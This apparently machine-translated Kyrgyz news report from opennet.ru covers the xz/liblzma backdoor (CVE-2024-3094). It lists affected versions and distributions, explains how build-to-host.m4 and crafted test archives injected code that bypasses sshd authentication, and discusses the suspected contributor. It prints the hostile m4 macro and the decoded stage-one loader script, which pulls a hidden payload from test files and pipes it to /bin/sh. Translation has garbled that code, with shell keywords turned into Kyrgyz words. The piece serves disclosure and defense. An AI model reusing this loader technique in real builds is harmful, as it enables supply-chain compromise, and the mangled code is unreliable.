xz/liblzma китепканасында sshd аркылуу кирүүгө мүмкүндүк берген бэкдор табылды

liblzma китепканасын жана “.xz” форматындагы кысылган маалыматтар менен иштөө үчүн утилиталарды камтыган XZ Utils пакетинде бэкдор (CVE-2024-3094) аныкталган, ал байланышкан тиркемелер тарабынан иштелип чыккан маалыматтарды кармоого жана өзгөртүүгө мүмкүндүк берет. liblzma китепканасы менен. Бэк эшиктин негизги максаты OpenSSH сервери болуп саналат, ал кээ бир дистрибьюцияларда libsystemd китепканасы менен бириктирилген, ал өз кезегинде liblzma колдонот. Sshdди аялуу китепкана менен байланыштыруу чабуулчуларга SSH серверине аутентификациясыз кирүү мүмкүнчүлүгүн берет.

Арткы эшик 5.6.0-февралда жана 5.6.1-мартта жарыяланган 24 жана 9 расмий релиздеринде болгон, алар кээ бир дистрибьюторлорго жана репозиторийлерге кире алышкан, мисалы, Gentoo, Arch Linux, Debian sid / туруксуз, Fedora Rawhide жана 40-бета, openSUSE фабрикасы жана тумбло, LibreELEC, Alpine edge, Solus, NixOS туруксуз, OpenIndiana, OpenMandriva прокат, pkgsrc агымы, Slackware агымы, Manjaro тести. xz 5.6.0 жана 5.6.1 релиздердин бардык колдонуучуларына тез арада 5.4.6 версиясына кайра өтүү сунушталат.

Көйгөйдү жеңилдеткен факторлордун ичинен liblzma версиясы бэкдоору чоң дистрибьюторлордун туруктуу релиздеринин бир бөлүгү боло албаганын, бирок openSUSE Tumbleweed жана Fedora 40-бетага таасирин тийгизгенин белгилей кетүү керек. Arch Linux жана Gentoo zxтин аялуу версиясын колдонушкан, бирок чабуулга дуушар болушпайт, анткени алар openssh үчүн systemd-notify патчын колдонушпайт, бул sshd liblzma менен байланыштырат. Backdoor Linux ядросуна жана Glibc C китепканасына негизделген x86_64 системаларына гана таасир этет.

Арткы эшикти активдештирүү коду m4 макросторунда, курууда automake инструменттери колдонгон build-to-host.m4 файлынан жашырылган. Монтаж учурунда, операциянын тууралыгын текшерүү үчүн колдонулган архивдердин (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) негизинде татаал бүдөмүк операцияларды аткарууда зыяндуу код менен объекттик файл түзүлүп, ал liblzma китепканасын жана анын кээ бир функцияларын операция логикасын өзгөрттү. Арткы эшикти иштеткен m4 макростору релиз тарболдоруна киргизилген, бирок Git репозиторийинде болгон эмес. Ошол эле учурда репозиторийде зыяндуу тесттик архивдер болгон, б.а. бэкдорду ишке ашырган адам репозиторийге да, релиздерди түзүү процесстерине да кирүү мүмкүнчүлүгүнө ээ болгон.

Тиркемелерде liblzma колдонууда, зыяндуу өзгөртүүлөр маалыматтарды кармоо же өзгөртүү, же sshd иштешине таасир этиш үчүн колдонулушу мүмкүн. Атап айтканда, зыяндуу код sshd аутентификация процессин айланып өтүү үчүн RSA_public_decrypt функциясын бурмалаган. Бэкдоор аныктоодон коргоону камтыган жана LANG жана TERM чөйрө өзгөрмөлөрү коюлганда (б.а. процессти терминалда иштеткенде) жана LD_DEBUG жана LD_PROFILE чөйрө өзгөрмөлөрү коюлбаганда, өзүн көрсөткөн эмес, ошондой эле /usr/sbin/sshd аткарылуучу файл. Backdoor ошондой эле мүчүлүштүктөрдү оңдоо чөйрөлөрүндө аткарылышын аныктоочу каражатка ээ.

Атап айтканда, m4/build-to-host.m4 файлы колдонулган gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Биринчи конструкцияда grep операциясы tests/files/bad-3-corrupt_lzma2.xz файлын тапты, ал пакеттен чыгарылганда скриптти түздү: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && чыгуу 0 [ ! $(uname) = "Linux" ] && чыгуу 0 [ ! $(uname) = "Linux" ] && чыгуу 0 [ ! $(uname) = "Linux" ] && чыгуу 0 [ ! $(uname) = "Linux" ] && чыгуу 0 eval `grep ^srcdir= config.status` if test -f ../../config.status; андан кийин баа `grep ^srcdir= ../../config .status` srcdir="../../$srcdir" fi экспорт i=»((баш -c +1024 >/dev/null) && баш -c +2048 && (баш -c +1024 >/dev/ null) && баш -c +2048 && (баш -c +1024 >/dev/null) && баш -c +2048 && (баш -c +1024 >/dev/null) && баш -c +2048 && (баш -c - c +1024 >/dev/null) && баш -c +2048 && (баш -c +1024 >/dev/null) && баш -c +2048 && (баш -c +1024 >/dev/null) && баш - c +2048 && (баш -c +1024 >/dev/null) && баш -c +2048 && (баш -c +1024 >/dev/null) && баш -c +2048 && (баш -c +1024 >/ dev/null) && баш -c +2048 && (баш -c +1024 >/dev/null) && баш -c +2048 && (баш -c +1024 >/dev/null) && баш -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Дүйнө####

Кол салгандар кантип xz долбоорунун инфраструктурасына кире алганы азырынча толук тактала элек. Ошондой эле бэкдордун натыйжасында канча колдонуучулар жана долбоорлор бузулганы азырынча белгисиз. Архивдерди репозиторийге зыяндуу код менен жайгаштырган (JiaT75 - Цзя Тан) болжолдуу автору Fedora иштеп чыгуучулары менен кат алышып, Debianга дистрибуцияларды xz 5.6.0 бутагына өткөрүүгө байланыштуу суроо-талаптарды жөнөткөн. шек туудурат, анткени ал катышкан xz акыркы эки жылдан бери өнүгүп келе жатат жана киргизилген өзгөртүүлөр саны боюнча экинчи иштеп чыгуучу болуп саналат. xz долбоорунан тышкары, бэкдордун болжолдонгон автору xz-java жана xz-камтылган пакеттерди иштеп чыгууга да катышкан. Мындан тышкары, Jia Tan бир нече күн мурун Linux ядросунда колдонулган XZ Embedded долбоорунун тейлөөчүлөрүнүн катарына кирген.

Зыяндуу өзгөртүү процессордун ашыкча сарпталышын жана ssh аркылуу Debian sid негизиндеги системаларга туташуу учурунда valgrind тарабынан пайда болгон каталарды талдоодон кийин табылган. Белгилей кетчү нерсе, xz 5.6.1 релизинде бэкдор менен zx 5.6.0 версиясына жаңыртылгандан кийин пайда болгон sshd басаңдашы жана кыйроолор боюнча даттанууларга жооп катары бэкдордун болжолдонгон автору тарабынан даярдалган өзгөртүүлөр камтылган. Кошумчалай кетсек, өткөн жылы Цзя Тан "-fsanitize=address" текшерүү режимине туура келбеген өзгөртүүлөрдү киргизип, аны fuzz тестирлөө учурунда өчүрүп салган.

Source: opennet.ru

Комментарий кошуу